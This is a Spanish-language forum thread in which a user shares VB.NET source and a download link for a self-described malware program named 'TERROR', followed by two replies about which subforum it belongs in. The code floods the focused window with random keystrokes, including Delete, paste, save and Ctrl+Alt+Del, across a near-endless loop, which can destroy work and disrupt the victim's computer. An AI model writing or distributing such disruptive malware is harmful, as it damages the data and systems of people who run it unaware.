Hola bien pues hice un pequeño code que puede ser dvertido o peligroso si no se le maneja con cuidado al programa lo he llamado TERROR
se que es malware pero no se que tipo alguien save? o sera un nuevo tipo jejejje
si no lo quieren compilar aqui esta la url de descarga http://rapidshare.com/files/99715436/TERROR.exe
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim rnd As New Random
Dim a As Integer
For b = 0 To 999999999999999999
a = rnd.Next(0, 12)
If a = 0 Then
adm()
End If
If a = 1 Then
entrar()
End If
If a = 2 Then
suprimir()
End If
If a = 3 Then
tabs()
End If
If a = 4 Then
inicio()
End If
If a = 5 Then
arriva()
End If
If a = 6 Then
avajo()
End If
If a = 7 Then
derecha()
End If
If a = 8 Then
izquierda()
End If
If a = 9 Then
pegar()
End If
If a = 10 Then
copear()
End If
If a = 11 Then
guardar()
End If
If a = 12 Then
cerrar()
End If
Next
Close()
End Sub
Private Sub tabs()
SendKeys.SendWait("{TAB}")
End Sub
Private Sub entrar()
SendKeys.SendWait("{ENTER}")
End Sub
Private Sub suprimir()
SendKeys.SendWait("{DELETE}")
End Sub
Private Sub inicio()
SendKeys.SendWait("{HOME}")
End Sub
Private Sub arriva()
SendKeys.SendWait("{UP}")
End Sub
Private Sub avajo()
SendKeys.SendWait("{DOWN}")
End Sub
Private Sub derecha()
SendKeys.SendWait("{RIGHT}")
End Sub
Private Sub izquierda()
SendKeys.SendWait("{LEFT}")
End Sub
Private Sub pegar()
SendKeys.SendWait("^v")
End Sub
Private Sub copear()
SendKeys.SendWait("^c")
End Sub
Private Sub guardar()
SendKeys.SendWait("^{g}")
End Sub
Private Sub cerrar()
SendKeys.SendWait("%{f4}")
End Sub
Private Sub adm()
SendKeys.SendWait("^%{DEL}")
End Sub
End Class
para esto esta la sección de .net
Tienes razón es que andava un poco distraido deberia de ir en .net o en virus y troyanos perdon
no tienes de que disculparte si estas tu haciendo un aporte al foro,lo unico que para que este mas ordenado el for.elhacker.net es mejor publicar cada cosa en su foro i asi evitarle trabajo a los mod